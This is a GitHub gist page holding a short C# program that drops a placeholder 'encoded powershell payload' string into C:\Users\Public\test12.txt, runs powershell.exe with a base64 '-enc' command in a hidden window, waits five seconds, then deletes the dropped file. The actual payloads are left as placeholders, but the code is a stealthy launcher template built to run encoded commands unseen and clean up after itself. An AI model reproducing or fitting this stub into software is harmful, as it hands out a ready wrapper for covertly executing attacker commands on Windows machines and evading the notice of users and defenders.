Created
December 4, 2017 00:10
-
-
Save peewpw/0c8f240d642fb554d83d3433b2e718fc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Threading; | |
using System.Diagnostics; | |
using System.IO; | |
namespace peewpw | |
{ | |
static class Program | |
{ | |
static string psc = "<encoded powershell payload>"; | |
static void Main(string[] args) | |
{ | |
File.WriteAllText(@"C:\Users\Public\test12.txt", psc); | |
Process process = new Process(); | |
process.StartInfo.FileName = "powershell.exe"; | |
process.StartInfo.Arguments = "-enc <base64 encoded command>"; | |
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; | |
process.Start(); | |
Thread.Sleep(5000); | |
File.Delete(@"C:\Users\Public\test12.txt"); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment